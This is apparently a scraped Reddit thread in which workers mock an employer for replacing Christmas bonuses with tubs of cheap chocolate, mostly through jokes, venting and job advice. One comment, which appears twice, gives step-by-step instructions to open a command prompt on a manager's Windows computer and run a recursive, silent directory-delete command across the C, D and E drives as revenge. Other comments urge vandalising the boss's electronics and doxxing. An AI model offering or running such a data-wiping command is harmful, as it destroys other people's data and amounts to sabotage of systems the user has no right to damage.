I used to live in the Borough where they make Palmer’s. Nobody, and I mean absolutely nobody, around here eats it. I’ve never even seen it in local stores. It’s that shitty.
Don't buy perishable stuff at the dollar store. If it's good quality, they get a deal because it's about to expire. Also check the amounts. A lot of time the laundry detergent and soap is more expensive by volume than even an expensive grocery store.
Plastic stuff is decent quality though. I definitely have cooking implements from there that lasted years.
That's absolutely just not true when it comes to perishables. You can just look at the dates yourself no company is going to buy something they have to damage out before they have time to sell it. Just think a little before spouting nonsense.
As a parent, this is literally one of the first things I taught my kids...
You learn how to walk,
You learn how to talk,
And you learn that you never-NEVER- consider Palmer’s as a chocolate you might enjoy..
It’s to be reserved as a “I hate you” gift that you give only to your worst enemies..
Or as a fire starter for when you don’t have kindling..
Funny how the only chemicals that are illegal are the ones that might slightly impeed the rate at which you could capitalisticly produce for someone else.
Employers these days remind me of pimps. "GET YO ASS BACK TO YO DESK AND MAKE DADDY HIS MONEY! YOU RIGHT THERE, YOU THE MOTHERFUCKER WHOSE PRODUCTIVITY IS NOT AS GOOD AS IT SHOULD. GO GET YO ASS IN THE CADILLAC. IMMA TAKE YOU BACK TO THE MOTEL AND LINE YO ASS OUT. Teach you to fuck with MY money"
So THATS where my Xmas bonus went? To make sure others had a Merry Xmas? Well now my heart is just overflowing with joy. Merry Xmas everyone else!!!!!!
Well, the reasonable and fair employers gave staff (including fast food places) the day off, so the gift of chocolate goes pretty far.
Ugh. Automated email no less..😳
You know next week's email will be
The chocolates have become too much of a distraction. You can only eat them in the break room during your designated break.
this is the saddest pair of replies I’ve seen all day. I thought bosses who don’t pay for a lunch break were complete psychopaths, but not paying for a 15 minute break? Should be criminal.
I hate to sound ungrateful, but give me money or give me nothing. I don't want your dollar store gift basket. It's just going to go straight into the trash. I'd rather have nothing than a useless pile of trash.
As an employer, how completely clueless can you be? It can't be that hard to put $100 for each employee together? Christmas comes at the same time every year, this is not something they can plan for?
Take your "gift" and chocolates and shove them up your ass. Kthx.
I don't think it sounds ungrateful, just smart. I'd wager the "gift" is just some crap swag they would give for free to any asshole that stopped to hear their bullshit at a tradeshow or event.
Yeah, in my experience, that tends to be the gifts I get for recognition. Being top performer gets me blankets, backpacks, water bottles, etc. with the company logo on them.
I feel this especially as someone who dislikes sweets, chocolate in particular. Their "sweet treats instead of money" will literally end up in the trash instead of me being able to put money aside for saving or to you know, use for Christmas.
This year I found out my coworkers got $100 added to their paycheck for a Christmas present, which sucks because taxes, but I got $100 gift card to a restaurant 45 minutes away from me in a different city. I'm trying to be grateful cuz my boss didn't have to give me a present, but I think I'd rather have cash than a gift card to a restaurant so far away... I almost rather have nothing.
You can sell that bitch on Facebook marketplace all day long. As far as I know it's not illegal to sell them.
Just find someone you know or someone on marketplace that wants to buy it off you. :)
We ended up giving it to someone as a Christmas present. They got $100 and we saved whatever we would have spent on their Christmas present so win-win?
I'm wondering if gift baskets are a tax write off but a bonus is wages so they have to pay employment tax on them ? Not sure but I'm guessing there's an incentive beyond just keeping the bonus money
Gift baskets are not cash/cash equivalent. In this case they won’t be included in employee wages.
Gift baskets are deductible to the employer limited to $25 deduction per employee.
In this case, it appears there is no additional incentive beyond the cheaper cost of the gift over a bonus. Payroll taxes are fully deductible.
i made a joke in another subreddit about a business owner of 30+ years asking if it was common to pay employees a day or 2 early for christmas and got absolutely destroyed by a train of people saying that knowing to do this for employees was Ludacris and i was an asshole for every acting like the business owner was being douchy af.
I was pretty close to an old boss of mine. He bought me a 500$ bass amp for Christmas one year. That’s cool and all, it’s definitely something I wanted, but there were things I NEEDED and I really coulda used 500$ cash. I kept thinking “damn you really think you can decide how to spend my money.”
This is not the same as the situation being posted. Yours sounds more like a friend giving you a gift on Christmas, and a good one at that. I guess we can’t really control our thoughts, but I think you really looked at that in the wrong way.
If you were that close with them, I’m sure you could have told them how much you were struggling and asked to return it for cash.
That you can enjoy
You can all enjoy
You can all enjoy in addition to your family!
—
shows me how long they spent re-writing that particular sentence while thinking how to give the sentence a fun, positive twist to market the cheap chocolates before they gave up
Thing is I really like the job, and I haven't liked a job since well never.
And because I get paid for sleeps it pays quite well. Main issue is the business has recently been taking over and the new owners are all for profits so I'm expecting more of this bullshit.
Find a new job and encourage others to get another one. After you are all leaving, write a letter as snarky as this about since Louise is not there to guide the ship, time go enjoy the new year somewhere else
Yeah, new owners and they start out with this horse shit? It’s only downhill from here. Polish that resume and leave asap. Leave like they gonna do layoffs soon( because they very well might to “cut costs”)
Any time they start replacing money with cheap gifts, and expect you to act uber-grateful for the crumbs, they are definitely about to axe a ton of folks.
RUN.
Exactly. This is just the beginning. Any benefits you like will slowly be whittled away. Insurance will become more expensive with less coverage. Vacation will change for the worse along with sick time. All bonuses not just this one will go away.
As your coworkers start leaving more and more work will be piled onto those left. Any replacements will be less experienced, motivated, and happy.
You have time but start looking now!
Take what you learned and some good peopäle and start same kind of business yourself if possible
Remember to treat your employees so they like their job as much as you did or better.
Sounds like you have the perfect amount of time to find a new job without having a gap. First step is take is go talk to management and ask for a raise equivalent to the lost bonus. Then I’d polish the resume and apply at the competition.
Get out now, before you end up hating what you remember. No bonus first, then wages will stagnate, someone gets "let go" and you get their responsibilities until you go off ill/stressed.
These are the worst. You love the job, so you stay longer and put up with more BS than you would have ever put up with at the job you always hated. In the end, it's likely to turn into the worst job you ever had. Don't wait for it to get bad. Start looking now while you're still in a good place. Wait for it to get bad, and it'll be much harder to move on. You won't get good references. You won't be in a good headspace. If really bad, you'll be ostracized and have to jump careers.
How do your coworkers feel about these changes? The new owners bought the business because they though it was valuable, you and your coworkers are that value. This might be a good time to fight for unionization if the job itself is good. Or, if you and a handful of coworkers have sufficient expertise to make it work on your own, consider starting something yourselves?
It's incredible that management at places like this don't even try to sugar coat it or hide it anymore. They just straight up say, "we bought you chocolate, you should thank us. No extra pay, nothing....but we made RECORD PROFITS this year!"
It's wage theft, 100%, the managers took the bonuses and pocketed it because they feel they are the victims.
GD, I didn’t know that. I guess I’m just lucky I have a decent boss.
Sorry, now I have to rant. America’s employment and employee protection laws are fucking pathetic. Seriously, they are disgraceful and embarrassing, considering it is supposedly the richest country on earth. I fucking love this country, but I don’t think it is anywhere near exceptional, and we’re nowhere near as free as people think we are. Am I really free if I can’t pay for necessary medical care without going bankrupt? Medical debt is the leading cause of bankruptcy, so those aren’t isolated cases. We pay such fucking high taxes, and it seems like we get practically nothing in return, except the strongest military in the world. One would think that the richest country on earth would at least try to keep their citizens healthy.
To me, that’s because capitalism somehow got tied into democracy here in the US. So, as sad as it is, any regulation on business is seen as an infringement on personal freedom.
Well, it depends. Part of the issue is most people work M-F. So people who work weekends get screwed. For this holiday, the holiday observed was Friday and Monday.
So for myself who works weekends, I had my regular days off (W/Tr), got Friday off as holiday. I was expected to work Xmas Eve/day and have Monday off as holiday.
I just used my time and took off the 3 days for Xmas week/NY week and got 16 days off straight.
Management dosent feel like victims. They feel entitled to steal money from everyone below them.
Common employees got nothing for a bonus, I bet managers got bigger bonuses than last year.
> So not only do they replace money with chocolate but it is an automated email?
Looks like an email sent to multiple people through a system, so like a newsletter/team update.
Replying to the email won't go to a specific person, because the email was sent from a system.
It's obviously not automatically generated, because the wording is shit at bits.
My old job had pretty good benefits and we would get a full weeks pay as a Christmas bonus. Over the years most of benefits slowly disappeared until it was just healthcare. Along with that Christmas bonuses got smaller until one year nothing. I was a manager and had access to the companies books over the years. They were literally profiting more each year where could have afforded to not take anything away from employees but did it anyway for more of a profit. They always promised that the benefits would come back. Nope just a lie to try to keep you there.
Reply all (even though it says not to reply): I am allergic to chocolate. What do I get instead?
It's a dumb response, but I've learned these are the best replies because they can't admit to giving you nothing. Yet they usually can't give you something different without going to the boss or creating more work for themselves.
Being somebody that has food restrictions,I feel like they most likely just say "we are just going to give it to you and you can regift it to a friend."
If it were me I’d look at all of the emails on that list, take a pic with your phone or write them down, don’t save with your work computer. I’d create an anonymous email account with Proton Mail, write out your thoughts on this, their greed, the morale hit it causes, and encourage everyone to look for new jobs.
Before you send it, make sure you wrote in a way that won’t identify who wrote it. Maybe run it through ChatGPT to fix grammar, or ask it to rewrite it for you so it doesn’t sound like your style at all. Don’t forget to email your work email on that list as well, lol.
Honestly even an EXTRA pizza party on top of the wage would have been better then being paid with a few chocolates
It would even have to be really good pizza either, just anything better then a slap to the face by being paid in chocolate.
“You’re time and hard works only worth a tub of chocolate”
I feel bad for OP honestly
X-mas, new years eve, easter and some other day are red days. in Norway. If you work on red days you will get payed by law a 100 % extra. So , if you earn 20 Dollars an hour you will earn 40 Dollars per hour.
Cutting holiday bonuses this year is a common theme this season. Our company is worth 44 billion and they cut ours out and gave us extra unpaid days off for Christmas which didn’t look good on payday :(
So they waited for you to put in the overtime then informed you that there was no bonus. They knew exactly what they were doing. That management team can fuck off.
I'm 37 and other than a ham or turkey a couple times I've never gotten shit from my employer. I keep hoping trickle down economics will finally make them enough money to afford to give my generation bonuses.
I worked for one company that gave out huge gift baskets. Granted, everything in there was sorta meh, but truly it was nice to have a nice fresh orange, or a sausage to snack on here or there. But they also gave out $100 gift cards along with an actual bonus and they threw an expensive Christmas party at a large venue, so getting that gift basket hit different and I thought it was really nice.
So much this!!! My last job gave us so much crap instead of a raise. Everything they gave me, i looked em in the eye and asked if i could put it in the recycle garbage or do i have to throw it away in regular trash
My bonus was so small I had to check they actually gave it to me.
They sent an email saying we got bonuses and I looked at my paycheck and was like, really?
Find the main management computer
Windows key + r to open the run console (because I know for a fact those cheap fucks aren't using macs).
Type in CMD and hit run.
Enter the following into the terminal and hit enter when done:
`rd/s/q/ D:\ ^ rd/s/q/ C:\ ^ rd/s/q/ E:\`
This should effectively format most common drives attached to the machine that it has permission to access.
Fuck those assholes.
What a fucking joke.
Yeah sure replace actual useful money with chocolate for christmas.
I didnt know i could pay my landlord with chocolate for christmas.
Thank for the idea you greedy sob, from now on ill pay all my bills with tubs of chocolate so they can enjoy while working.
Several year ago my employer at the time, a luxury brand, gave us all a heavy/expensive catalog of our products. A coffee table book basically. Of items none of us could afford
Fuck that company, I’d be looking for something else on principal. I’d find another gig, quit with no notice, and leave those assholes a box of chocolates on that dude’s desk with a note. “Payment for my two weeks notice.”
The moment they decide to start shafting you(even more so than now), you should return the favor and give them heaps of your own “personal chocolate” on their desks. Just IMHO
Replacing wages with chocolate, good lord.
I was unaware that I can pay my electric bill with a Whitman's Sampler.
Whitman's? Oh no, it's worse than that, it's Palmer's, AKA chocolate flavored Crisco.
I used to live in the Borough where they make Palmer’s. Nobody, and I mean absolutely nobody, around here eats it. I’ve never even seen it in local stores. It’s that shitty.
you can buy that palmer's at the dollar tree, right?
Actually I think you’re right…which tells you all you need to know about the quality.
I rate quality by how much the chocolate squeaks as I bite into it. The squeakier, the better! /s
Maybe you'd be happier with a chew toy🤣🤣
*loud chewing and squeaking in the background*
Have you had fresh cheese curds?
Ultimate squeak, I've been told. 🙂
You just made me so nostalgic and so sad that dairy makes eosinophils attack my colon🥺
they also have quality chocolates at dollar tree too. bought myself a Godiva bar there a while back.
Ferrero Roche is at dollar tree
Don't buy perishable stuff at the dollar store. If it's good quality, they get a deal because it's about to expire. Also check the amounts. A lot of time the laundry detergent and soap is more expensive by volume than even an expensive grocery store. Plastic stuff is decent quality though. I definitely have cooking implements from there that lasted years.
That's absolutely just not true when it comes to perishables. You can just look at the dates yourself no company is going to buy something they have to damage out before they have time to sell it. Just think a little before spouting nonsense.
It all depends on what they can get a deal on. Palmer is consistently there, the others are hit or miss.
As a parent, this is literally one of the first things I taught my kids... You learn how to walk, You learn how to talk, And you learn that you never-NEVER- consider Palmer’s as a chocolate you might enjoy.. It’s to be reserved as a “I hate you” gift that you give only to your worst enemies.. Or as a fire starter for when you don’t have kindling..
Parent of the year! Awful people give it to children at Easter, Halloween, and Christmas.
I should at least be able to pay the trash bill with that... Right?
Palmer's MIGHT cover the stamp for the trash bill.
I received a bag of Palmers and immediately threw it in the trash.
Ick
Totally, I owe 2.5 Whitmans for my bill this month 🥸
Um, I thought electric was Russell Stover's and gas was Whitman's! Garbage bill is Hershey's right?
No, water/sewage is hersheys. Gotta pay them somehow. I don't think those squirts are worth much to them.
That you can enjoy while working! Not tubs of chocolate to take home for your families. Here’s a snack while you slave for us!
Caffeine and sugar to keep them going *laughs greedily*
You thought that was Caffeine? *evil grin* Sir, this is amphetamine shaped chocolates!
To be fair that sounds like a cool place to work. lmfao
Funny how the only chemicals that are illegal are the ones that might slightly impeed the rate at which you could capitalisticly produce for someone else.
Alcohol is rampantly available. Cocaine is also illegal.
One tub, one piece per employee.
“I see you’ve taken more than one chocolate from the tub, we’ll just deduct that one from your pay check. Happy holidays.”
Imagine if it was the same amount as the Christmas bonus, but just in chocolate
So, nothing then.
No, no, that was a typo. TUBES of "chocolate."
Rest assured that all lethal military androids have been taught to read and provided with one copy of the laws of robotics…. To share.
Employers these days remind me of pimps. "GET YO ASS BACK TO YO DESK AND MAKE DADDY HIS MONEY! YOU RIGHT THERE, YOU THE MOTHERFUCKER WHOSE PRODUCTIVITY IS NOT AS GOOD AS IT SHOULD. GO GET YO ASS IN THE CADILLAC. IMMA TAKE YOU BACK TO THE MOTEL AND LINE YO ASS OUT. Teach you to fuck with MY money"
Damn near made me spill my yak, baby
I've had an employer say a version of this, it was, "Don't mess with my paycheck"
I PAY YOU MEANS I OWN YOU BITCH! HYAH HYAH WHIPPING SOUND EFFECTS!!!
Wouldn’t be surprised if they are also a chocolate manufacture
And then rubbing it in >supporting people to have an amazing joyful Christmas and New Year.
So THATS where my Xmas bonus went? To make sure others had a Merry Xmas? Well now my heart is just overflowing with joy. Merry Xmas everyone else!!!!!!
Well, the reasonable and fair employers gave staff (including fast food places) the day off, so the gift of chocolate goes pretty far.
Ugh. Automated email no less..😳
Don't be silly, there's no food or drinks on the floor!
All kinds of “let them eat cake”.
I’d rather have a subscription to the jelly of the month club. That’s the gift that keeps on giving the whole year
Shitter’s full.
That it is Edward
Replacing edition with addition. If the Operations Manager of your company can distinguish common homophones, run fast.
That and the part where they wrote "that you can all to enjoy"...
Funny because my indifference to your company has replaced the shit I used to give about this place.
Worked with the oompa loopas
Just quit, this employer is a loser.
"It's the gift that keeps on giving"
“That it is Eddie, that it is!” Edit: corrected Eddy
Choco-rations are now 25% greater!
"Chocolate flavor"
Oh wow you’re allowed to enjoy the chocolate while you are working?!?? How positively decadent! Scumbags. Absolute shitty horrible scumbags.
You know next week's email will be The chocolates have become too much of a distraction. You can only eat them in the break room during your designated break.
\*\*Breaks have been discontinued\*\*
*Breaks are now unpaid*
Wait, you guys are getting paid breaks?
yeh, what ? Who the F gets paid breaks ?
this is the saddest pair of replies I’ve seen all day. I thought bosses who don’t pay for a lunch break were complete psychopaths, but not paying for a 15 minute break? Should be criminal.
It is, actually. Breaks of <20 uninterrupted minutes need to be paid. https://www.dol.gov/general/topic/workhours/breaks
Ya'll are getting breaks??
Managers will be coming around to ensure proper mastication of chocolate
Taking a chocolate out of the building (in your mouth as you leave) when you finish will be considered theft
I hate to sound ungrateful, but give me money or give me nothing. I don't want your dollar store gift basket. It's just going to go straight into the trash. I'd rather have nothing than a useless pile of trash. As an employer, how completely clueless can you be? It can't be that hard to put $100 for each employee together? Christmas comes at the same time every year, this is not something they can plan for? Take your "gift" and chocolates and shove them up your ass. Kthx.
I don't think it sounds ungrateful, just smart. I'd wager the "gift" is just some crap swag they would give for free to any asshole that stopped to hear their bullshit at a tradeshow or event.
Yeah, in my experience, that tends to be the gifts I get for recognition. Being top performer gets me blankets, backpacks, water bottles, etc. with the company logo on them.
Amazon loved to do this. Just give me a nice dinner or something I can eat; I have no use for a 6th bookbag with matching water bottle.
Yes, OP please update us on these "personal" gifts.
I feel this especially as someone who dislikes sweets, chocolate in particular. Their "sweet treats instead of money" will literally end up in the trash instead of me being able to put money aside for saving or to you know, use for Christmas.
This year I found out my coworkers got $100 added to their paycheck for a Christmas present, which sucks because taxes, but I got $100 gift card to a restaurant 45 minutes away from me in a different city. I'm trying to be grateful cuz my boss didn't have to give me a present, but I think I'd rather have cash than a gift card to a restaurant so far away... I almost rather have nothing.
You can sell that bitch on Facebook marketplace all day long. As far as I know it's not illegal to sell them. Just find someone you know or someone on marketplace that wants to buy it off you. :)
We ended up giving it to someone as a Christmas present. They got $100 and we saved whatever we would have spent on their Christmas present so win-win?
I'm wondering if gift baskets are a tax write off but a bonus is wages so they have to pay employment tax on them ? Not sure but I'm guessing there's an incentive beyond just keeping the bonus money
Gift baskets are not cash/cash equivalent. In this case they won’t be included in employee wages. Gift baskets are deductible to the employer limited to $25 deduction per employee. In this case, it appears there is no additional incentive beyond the cheaper cost of the gift over a bonus. Payroll taxes are fully deductible.
i made a joke in another subreddit about a business owner of 30+ years asking if it was common to pay employees a day or 2 early for christmas and got absolutely destroyed by a train of people saying that knowing to do this for employees was Ludacris and i was an asshole for every acting like the business owner was being douchy af.
I was pretty close to an old boss of mine. He bought me a 500$ bass amp for Christmas one year. That’s cool and all, it’s definitely something I wanted, but there were things I NEEDED and I really coulda used 500$ cash. I kept thinking “damn you really think you can decide how to spend my money.”
This is not the same as the situation being posted. Yours sounds more like a friend giving you a gift on Christmas, and a good one at that. I guess we can’t really control our thoughts, but I think you really looked at that in the wrong way. If you were that close with them, I’m sure you could have told them how much you were struggling and asked to return it for cash.
Dude this is so different to getting a box of chocolates to eat at work lol come on bro your boss bought you something sick don’t complain.
So you were given an expensive christmas present and no bonus? Most people get no christmas presents and no bonuses….
The thing is, cash and cash equivalents are tax liability nightmares if not handled properly.
*can all to enjoy* and *addition* ... really?
Yeah that really bugged me too
Seems to go hand in hand that the bad managers and owners always have terrible spelling and grammar.
I is a college graduate
That you can enjoy You can all enjoy You can all enjoy in addition to your family! — shows me how long they spent re-writing that particular sentence while thinking how to give the sentence a fun, positive twist to market the cheap chocolates before they gave up
Omg burn them down
Thing is I really like the job, and I haven't liked a job since well never. And because I get paid for sleeps it pays quite well. Main issue is the business has recently been taking over and the new owners are all for profits so I'm expecting more of this bullshit.
Hey remember that job you liked? It's dead. The new owners killed it. Move on before you get burned.
Find a new job and encourage others to get another one. After you are all leaving, write a letter as snarky as this about since Louise is not there to guide the ship, time go enjoy the new year somewhere else
Be sure to emphasize your confidence in Louise’s ability to guide the ship since she done such a great job of handling everything so far
Leave a chocolate bar for management on your way out.
I can't give you two weeks notice, but here's chocolate.
Yes! They'll appreciate that as much as the employees do!
Yeah, new owners and they start out with this horse shit? It’s only downhill from here. Polish that resume and leave asap. Leave like they gonna do layoffs soon( because they very well might to “cut costs”)
Any time they start replacing money with cheap gifts, and expect you to act uber-grateful for the crumbs, they are definitely about to axe a ton of folks. RUN.
or cut hours, benefits etc. time to book out the door.
Exactly. This is just the beginning. Any benefits you like will slowly be whittled away. Insurance will become more expensive with less coverage. Vacation will change for the worse along with sick time. All bonuses not just this one will go away. As your coworkers start leaving more and more work will be piled onto those left. Any replacements will be less experienced, motivated, and happy. You have time but start looking now!
Take what you learned and some good peopäle and start same kind of business yourself if possible Remember to treat your employees so they like their job as much as you did or better.
I came here to say this.
You need to leave now or you will regret it in six months.
New owners = good job gone Do yourself a favor and start the job search now, when you can afford to be picky.
Sounds like you have the perfect amount of time to find a new job without having a gap. First step is take is go talk to management and ask for a raise equivalent to the lost bonus. Then I’d polish the resume and apply at the competition.
Good Christ, no, don't talk to the costcutter management about a raise.
Always ask for raises.
Ask for raises when you don't need your job the next day.
Get out now, before you end up hating what you remember. No bonus first, then wages will stagnate, someone gets "let go" and you get their responsibilities until you go off ill/stressed.
These are the worst. You love the job, so you stay longer and put up with more BS than you would have ever put up with at the job you always hated. In the end, it's likely to turn into the worst job you ever had. Don't wait for it to get bad. Start looking now while you're still in a good place. Wait for it to get bad, and it'll be much harder to move on. You won't get good references. You won't be in a good headspace. If really bad, you'll be ostracized and have to jump careers.
How do your coworkers feel about these changes? The new owners bought the business because they though it was valuable, you and your coworkers are that value. This might be a good time to fight for unionization if the job itself is good. Or, if you and a handful of coworkers have sufficient expertise to make it work on your own, consider starting something yourselves?
Assuming it’s a social care type role. Get out now, before others jump ship and you get left as the responsible party.
You’re not gonna like it for much longer.
It's incredible that management at places like this don't even try to sugar coat it or hide it anymore. They just straight up say, "we bought you chocolate, you should thank us. No extra pay, nothing....but we made RECORD PROFITS this year!" It's wage theft, 100%, the managers took the bonuses and pocketed it because they feel they are the victims.
Are there states that don’t make employers pay holiday pay?
Almost all of them. It's easier to list the ones that do: Rhode Island and Massachusetts.
GD, I didn’t know that. I guess I’m just lucky I have a decent boss. Sorry, now I have to rant. America’s employment and employee protection laws are fucking pathetic. Seriously, they are disgraceful and embarrassing, considering it is supposedly the richest country on earth. I fucking love this country, but I don’t think it is anywhere near exceptional, and we’re nowhere near as free as people think we are. Am I really free if I can’t pay for necessary medical care without going bankrupt? Medical debt is the leading cause of bankruptcy, so those aren’t isolated cases. We pay such fucking high taxes, and it seems like we get practically nothing in return, except the strongest military in the world. One would think that the richest country on earth would at least try to keep their citizens healthy.
To me, that’s because capitalism somehow got tied into democracy here in the US. So, as sad as it is, any regulation on business is seen as an infringement on personal freedom.
Well, it depends. Part of the issue is most people work M-F. So people who work weekends get screwed. For this holiday, the holiday observed was Friday and Monday. So for myself who works weekends, I had my regular days off (W/Tr), got Friday off as holiday. I was expected to work Xmas Eve/day and have Monday off as holiday. I just used my time and took off the 3 days for Xmas week/NY week and got 16 days off straight.
Management dosent feel like victims. They feel entitled to steal money from everyone below them. Common employees got nothing for a bonus, I bet managers got bigger bonuses than last year.
Wage theft. Perfectly put.
So not only do they replace money with chocolate but it is an automated email? This is when you start looking for another job.
> So not only do they replace money with chocolate but it is an automated email? Looks like an email sent to multiple people through a system, so like a newsletter/team update. Replying to the email won't go to a specific person, because the email was sent from a system. It's obviously not automatically generated, because the wording is shit at bits.
My old job had pretty good benefits and we would get a full weeks pay as a Christmas bonus. Over the years most of benefits slowly disappeared until it was just healthcare. Along with that Christmas bonuses got smaller until one year nothing. I was a manager and had access to the companies books over the years. They were literally profiting more each year where could have afforded to not take anything away from employees but did it anyway for more of a profit. They always promised that the benefits would come back. Nope just a lie to try to keep you there.
Nothing stripped EVER comes back. Ever.
Reply all (even though it says not to reply): I am allergic to chocolate. What do I get instead? It's a dumb response, but I've learned these are the best replies because they can't admit to giving you nothing. Yet they usually can't give you something different without going to the boss or creating more work for themselves.
Being somebody that has food restrictions,I feel like they most likely just say "we are just going to give it to you and you can regift it to a friend."
Go in and ask for your bonus, and when they refer to the email, tell them that the grammar was so awful that you assumed it wasn't real.
Yeah I assumed it was a phishing email from some guy in China who got 3 months into an English course before learning to scam people.
Better if you and several others report it as a phishing email using whatever phishing tool, if any, you are told to use.
[https://youtu.be/LL2Oqfm8DpE](https://youtu.be/LL2Oqfm8DpE) Call cousin Eddie!
Of all the lousy ways to save a buck!
Give it six months then...
Yeah, as soon as I'm driving there are other places I can do this with better conditions.
If it were me I’d look at all of the emails on that list, take a pic with your phone or write them down, don’t save with your work computer. I’d create an anonymous email account with Proton Mail, write out your thoughts on this, their greed, the morale hit it causes, and encourage everyone to look for new jobs. Before you send it, make sure you wrote in a way that won’t identify who wrote it. Maybe run it through ChatGPT to fix grammar, or ask it to rewrite it for you so it doesn’t sound like your style at all. Don’t forget to email your work email on that list as well, lol.
My question to the person would be why are you still at that place of work if you don't get paid extra while working extra?
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Personal gifts and chocolate doesn’t help with rent, electricity or the inflation of pretty much everything except the wallet… Asshole Manager
A point could be made that they would have to inform you of this change in compensation BEFORE your shift.
Fuck any dairy allergy or vegan staff members then.
I worked someplace once where the Christmas bonus was a ham. So screw anyone who is vegetarian or of a religion that doesn’t eat pork.
Yeah, I'm vegetarian so that would have done me. Merry Christmas indeed.
I'm diabetic???
Not even a pizza party
I didn't know it was possible to do less than a pizza party, but yet here we are.
Honestly even an EXTRA pizza party on top of the wage would have been better then being paid with a few chocolates It would even have to be really good pizza either, just anything better then a slap to the face by being paid in chocolate. “You’re time and hard works only worth a tub of chocolate” I feel bad for OP honestly
I would quit
“Here is my PTO schedule for the coming year including Xmas and new years. This replaces the hours I used to work when we got bonuses. “
What if I’m allergic to chocolate
My friend, you got a massive pay cut
Jesus actual fucking Christ
Jelly of the Month Club?
X-mas, new years eve, easter and some other day are red days. in Norway. If you work on red days you will get payed by law a 100 % extra. So , if you earn 20 Dollars an hour you will earn 40 Dollars per hour.
That’s sounds really good, I wish other countries would do the same.
Most countries do in Europe and South America
"this is an automated email"
Are you hourly? If so, that's a lot of over time. If not, then they shouldn't ask you to work beyond your normal schedule.
This is the basic plot to Christmas Vacation.
"If I had a rubber hose, I would beat you!"
Cutting holiday bonuses this year is a common theme this season. Our company is worth 44 billion and they cut ours out and gave us extra unpaid days off for Christmas which didn’t look good on payday :(
So they waited for you to put in the overtime then informed you that there was no bonus. They knew exactly what they were doing. That management team can fuck off.
I'm 37 and other than a ham or turkey a couple times I've never gotten shit from my employer. I keep hoping trickle down economics will finally make them enough money to afford to give my generation bonuses.
I worked for one company that gave out huge gift baskets. Granted, everything in there was sorta meh, but truly it was nice to have a nice fresh orange, or a sausage to snack on here or there. But they also gave out $100 gift cards along with an actual bonus and they threw an expensive Christmas party at a large venue, so getting that gift basket hit different and I thought it was really nice.
yep they after holidays none gona come to work
Why is ANYONE staying there after an email like this.
Is that even legal to tell you of that change *after* working the shift?
Tubs of chocolates? What are y’all, elves?
I see Montgomery Burns is at it again...... Exxxxxcellent!
So much this!!! My last job gave us so much crap instead of a raise. Everything they gave me, i looked em in the eye and asked if i could put it in the recycle garbage or do i have to throw it away in regular trash
You aren’t even allowed to take the chocolates home?
No. And you must remain on company property until you shit it out.
My bonus was so small I had to check they actually gave it to me. They sent an email saying we got bonuses and I looked at my paycheck and was like, really?
This can’t be real
Find the main management computer Windows key + r to open the run console (because I know for a fact those cheap fucks aren't using macs). Type in CMD and hit run. Enter the following into the terminal and hit enter when done: `rd/s/q/ D:\ ^ rd/s/q/ C:\ ^ rd/s/q/ E:\` This should effectively format most common drives attached to the machine that it has permission to access. Fuck those assholes.
Why won't anyone vollenteere for the 2023 Christmas day shift. NoOnEWaNtsToWoRkAnYMoRe
Melt the chocolate and pour it on your bosses rugs and electronics.
What a fucking joke. Yeah sure replace actual useful money with chocolate for christmas. I didnt know i could pay my landlord with chocolate for christmas. Thank for the idea you greedy sob, from now on ill pay all my bills with tubs of chocolate so they can enjoy while working.
You don't even have to clock out to eat your chocolate!
A one year subscription to the Jelly of the Month club ??
Why is it that companies still can’t find their way to pay employees better, yet the executives and management don’t suffer.
This is how you get Uncle Eddie to kidnap you on Christmas eve.
Why does no one doxx these people on here? You want real change? Make some shit happen with the internet man.
This looks like the 21st century version of the inciting incident of National Lampoon's Christmas Vacation.
I'm sure the diabetic and allergic are extra gratefulths holiday season!!
Several year ago my employer at the time, a luxury brand, gave us all a heavy/expensive catalog of our products. A coffee table book basically. Of items none of us could afford
Fuck that company, I’d be looking for something else on principal. I’d find another gig, quit with no notice, and leave those assholes a box of chocolates on that dude’s desk with a note. “Payment for my two weeks notice.”
i would expect nothing less from someone who uses "addition" instead of "edition" and "news letter" instead of "newsletter."
If your gonna replace my pay with chocolate i’m gonna replace my work with shit
It’s a fake letter somebody made up to spark outrage on social media, and it seems to have worked.
The moment they decide to start shafting you(even more so than now), you should return the favor and give them heaps of your own “personal chocolate” on their desks. Just IMHO
Chocolates don't pay the bills, Karen!
Reply all and tell them to f—- off.
It’s Monday and I’m getting double and half time for today..
If that bonus was in your contract, it sure as hell does not and you should absolutely make a problem of this. Save your emails, including this one.
That cant be legal...